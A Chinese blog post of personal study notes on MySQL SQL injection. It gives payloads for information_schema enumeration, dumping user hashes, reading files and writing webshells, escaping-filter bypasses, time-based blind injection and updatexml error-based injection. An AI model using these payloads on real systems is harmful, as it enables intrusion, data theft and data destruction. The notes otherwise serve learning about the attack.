热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

再次学习sql注入

爆所有数据库selectschema_namefrominformation_schema.schemata先爆出多少个字段id1orderby?;mysql5.0及以上都有一个i

爆所有数据库

select schema_name from information_schema.schemata

先爆出多少个字段 id = 1 order by ?;

mysql5.0及以上 都有一个information_scheam这个数据库

informatino_schema 数据库

information_scheama 下面的表(tables) 存放的一些字段 比较有用

所以从information_schema.tables where table_schema = ‘数据库名‘;

比如是从一个information_schema里面先查到一个数据库,那么我们就需要

select * from information_schema;

1.获取所有字段

2.获取数据库的列名

select table_schema from information_schema.tables;

获取指定数据库下面的表名;

例如,获取rest里面的所有表名

select table_name from information_schema.tables where table_schema = ‘rest‘;

获取表名里面的字段

select column_name from information_schema.columns where table_name = ‘tag‘;

此方法有可能会查到其他库中的表

思考:

既然information_schema.columns和information_schema.tables 里面既然可以是查到column,那么直接从information_schema.columns查找不就可以了,为什么非要用information_schema.tables里面查数据库 数据表?

答案:

仔细从information_schema.tables 和 information_schema.columns 分别查查 ,或者对应着看数据库就可以了

判断是从mysql还是从access

and (select count() from sysobjects)>0 mssql

and (select count(
) from msysobjects)>0 access


高权限操作

查看所有用户

select user() from "随便一个数据表"; 查看所有的账号,没有密码

select * from mysql.user; 里面的密码是用md5进行加密的,拿去cmd5解密就可以了

查看系统的版本

select version() from "随便一个数据表";

查看当前系统;

select @@version_compile_os from admin;

load_file 读取文件

select load_file(‘路径名‘);

windows要注意斜杠线 如果直接在桌面的bbs.txt文件右击属性的话 会显示 C:\Users\Desktop\bbb.txt,但是Mysql在进行查询的时候要转换成

select load_file(‘C:/Users/Desktop/bbb.txt‘) from admin;

into_outfile 写入文件跟读取文件一样,一般都是写入一句话木马

select ‘12‘ into outfile select ‘12‘ into outfile ‘C:/Users/75143/Desktop/bbb111111.txt‘;;


注意在写入或者读取的时候,因为网站会自动进行解析,所以最好都是用十六进制转换,但是Mysql在进行十六进制转换的时候会自动加上引号

比如把select ‘12‘ into outfile ‘C:/Users/Desktop/bbb111111.txt‘转换成十六进制就是0x27433a2f55736572732f4465736b746f702f6262623131313131312e74787427

写入文件 在操作之前是要知道运行文件的路径

如何知道:

??1.报错显示

??2.谷歌语法 比如 inurl:edu.cn warnging

??3.读取搭建平台的配置文件 比如apache目录下的conf里面的vhosts.conf 就存放着这个网站的配置信息

??4.漏洞报错 比如搜索:phpcms 爆路径

??5.遗留文件 类似于phpinifo.php 和install的说明 inurl: phpinfo.php(超级有用啊)

??6.字典爆破


高权限体现

网站A无注入点,网站B有注入点,网站A和B是同一家企业,如果拿到了网站B的数据库,可能网站A的数据库也就拿下了,因为一个企业可能布置在同一个mysql下,还是database()来实现看到是哪个数据库

要注意指定相应的数据库


SQL防护函数

magic_quote_gpc = OFF

安全函数 addslashes

如果有这两个函数,经过这函数的单引号、双引号、反斜杠、NULL等都会被加上
思考如何绕过?

十六进制编码或者宽字节注入 记得加转换的数据要进行0x 哈哈哈

十六进制编码在哪使用??

待解答.......


请求方式注入

get 注入 就是常见的在http里面通过get的方式进行传输

post 注入 一般都是登录的时候 进行post注入,这样的注入不易被人查觉到,能做到降低一定的危险

COOKIE 注入 用burp 里面改包试试,还没有遇见过COOKIE 注入

干扰:

单引号 ,可能有这个报错注入

原语句:SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1

输入id =1‘ 之后产生

you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘ LIMIT 0,1‘ at line 1

绕过:主要是LIMIT 0,1‘ ,这个单引号没有闭合,那么我们只需要闭合单引号 and ‘1‘ = ‘1 就会拼接成 select xxx from xxx where id =‘x‘ limit and ‘1‘ = ‘1‘

或者把最后的单引号给注释掉 最常见的是 --+ 和 # /*

最喜欢报错注入,不喜欢盲注


http头注入

有的数据库会以http头中的某个数据来进行查询(说着就有点蹩脚...)

比如根据UA头显示不同的数据,那么我们如果是通过burp来抓到包之后就可以跑了,具体的还是用工具跑一遍把,要不然就麻烦了

$SERVER 来实现看到某个ip的访问数据


echo $_SERVER[‘HTTP_HOST‘];

?>

显示当前的访问ip

https://www.cnblogs.com/rendd/p/6182918.html


参数类型注入:

因为mysql注入的时候也会区分是数值还是字符串注入,所以在注入的时候需要进行区分下

搜索型 是用的like 通配符 比如说是select * from user where username like ‘%1%‘

这个时候闭合的就是单引号和%

闭合方式: select * from user where username = ‘%1%‘ union select 1,2,3‘%%#‘这样的方式进行闭合

% 和单引号闭合的类似,就在单引号后面加上一个%

数字 没有单引号进行干扰

字符 一般都是需要在查询的时候加上单引号 比如select * from user where username = ‘hhh‘; 和 select * from user where username = hhh ; 第二个select 会报错,Mysql把这个hhh当成了列名来进行执行的


参数加密注入

$id = base64_encode($_GET[‘x‘]); 在id = 1 这里进行接受的时候将1进行base64进行编码,防止别人看出来,然后下面再把1 进行base64_decode 进行解码

则查询的时候就变成了select * from user where id = 1;


盲注

一般没有加函数的注入都是属于盲注,特点:速度快,兼容性差

盲注:速度慢,兼容性好

时间盲注:

sleep函数()

比如select * from user where id = 1 and sleep(5);

如果id = 1存在,那么我们会看到时间延迟5秒中,具体的在Mysql中结果是 Empty set (5.00 sec)

如果id = 1000 不存在,那么select * from user where id = 1000 and sleep(5); 结果就是Empty set (0.00 sec)

if 函数 如果判断1=2为真执行3,假则执行5

select if (1=2,3,5);

mid 函数

mid(str,index,ken) //截取str 从index开始,截取len的长度

比如这样

select mid(username,2,3) from admin where id = 1;

ord 函数

ord() 函数返回字符串第一个字符的 ASCII 值

select ord(‘a‘);

if 和 sleep 连用

select * from admin where id = 1 and sleep(if((select database()=‘rest‘),0,5));

先用sleep里面再加入select database() = ‘rest‘,这个就是比较好,如果database() = rest 就不延迟,否则就延迟5秒

database() = rest Empty set (0.00 sec)

database() != rest Empty set (5.00 sec)

length() 里面字段可以变成数字

比如select length(database());

结果:

+--------------------+

| length(database()) |

+--------------------+

| 4 |

+--------------------+

1 row in set (0.00 sec)

获取表名:

先获取表明长度

select sleep(if(length(table_name)=5,0,5)) from information_schema.tables where table_schema =database() limit 0,1;

进一步判断表名

通过字符

select sleep(if(mid(table_name,1,1)=‘a‘,0,5)) from information_schema.tables where table_schema = ‘test‘ limit 0,1;

通过ascii 利用的ascii

select sleep(if(ord(mid(table_name,1,1))=97,0,5)) from information_schema.tables where table_schema = ‘test‘ limit 0,1;

limit 的使用

使用limit可以使找到的有几张数据表,limit 0 ,1 就是第从0 开始到1的一张数据表 limit 0,2就是2张

盲注最好是写个脚本进行跑,要不然很麻烦

这种操作是先判断length()中的table_name的值是否是5,理解table_name length if sleep的连用

爆列表和字段就写了

insert 4种注入 一般拿到源码或者知道sql语句的时候 才能手注试试

insert update delete limit 注入

利用updatexml()获取数据库

利用extravalue()获取数据

利用name_const()获取数据

利用子查询注入获取数据

用户注册(insert) 密码修改(update) 信息删除(delete)

delete from admin where id =1 or updatexml(1,concat(0x7e,(version())),0);

属于报错注入,并且这种注入都是真正删除数据的

ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.40‘

delete from admin where id =1 or updatexml(1,concat(0x3a,(select user())),1);

查询user

ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost‘

参考:https://xz.aliyun.com/t/3992

https://xz.aliyun.com/t/5505


推荐阅读
  • Spark 贝叶斯分类算法
    一、贝叶斯定理数学基础我们都知道条件概率的数学公式形式为即B发生的条件下A发生的概率等于A和B同时发生的概率除以B发生的概率。根据此公式变换,得到贝叶斯公式:即贝叶斯定律是关于随机 ... [详细]
  • Java工作流引擎关于数据加密流程(MD5数据加密防篡改)
    关键字:驰骋工作流程快速开发平台工作流程管理系统工作流引擎asp.net工作流引擎java工作流引擎.开发者表单拖拽式表单工作流系统流程数据加密md5数据保密流程数据防篡改软加密适 ... [详细]
  • 第一部分:TSqlTop有两种用法1,限制查询结果集返回的行数或总行数的百分比。当将TOP与ORDERBY子句结合使用时,结果集限制为前N个已排序行;否则,以未定义的顺序返回前N个 ... [详细]
  • 1、对于List而言,要不然就使用迭代器,要不然就从后往前删除,从前往后删除会出现角标越界。因为我List有两个remove方法,一个是int作为形参(删除指定位置的元素),一个是 ... [详细]
  • dremio的学习点滴
    在连接数据源后,进行数据源反射的创建,dremio会在本地创建一个类似于副本的文件,具体目录未知,当下次去执行sql时,则会启动加速器进行查询速度的优化。反射策略:fullupda ... [详细]
  • zend studio 9 选择自定义字体
    php教程|php手册zend,studio,选择,自定义,字体,Window,Pphp教程-php手册云监控源码,vscode下载的是zip,ubuntubios关闭,tomca ... [详细]
  • salesforce lightning零基础学习(七) 列表展示数据时两种自定义编辑页面
    上一篇Lightning内容描述的是LDS,通过LDS可以很方便的实例化一个对象的数据信息。当我们通过列表展示数据需要编辑时,我们常使用两种方式去处理编辑页面:PopUpWindo ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • vector:在vc6中,如果要镶嵌使用vector,如vector,后面的两个应该用,空格隔开,否则被编译器认为是移位符string::npos的值为 ... [详细]
  • 安全3AAuthentication:认证Authorzation:授权Accouting|Audition:审计用户管理用户:UID:0,不一定是root,root的uid非0时 ... [详细]
  • 步骤一:明确主打的核心目标用户群(对应产品侧的定位)这个核心目标用户群体是该产品成功挤进市场的切入点,甚至是撬动市场的支点和撬杠。市面上几乎很少有产品是专门给一个群体用而对其他群体 ... [详细]
  • UDP协议开发
    UDP是用户数据报协议(UserDatagramProtocol,UDP)的简称,其主要作用是将网络数据流量压缩成数据报形式,提供面向事务的简单信息传送服务。与TCP协议不同,UD ... [详细]
  • Adapter相当于C(Controller,控制器),listView相当于V(View,视图)用于显示数据为ListView提供数据的List,数组或数据库相当于MVC模式中的 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
author-avatar
huyuping6215
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有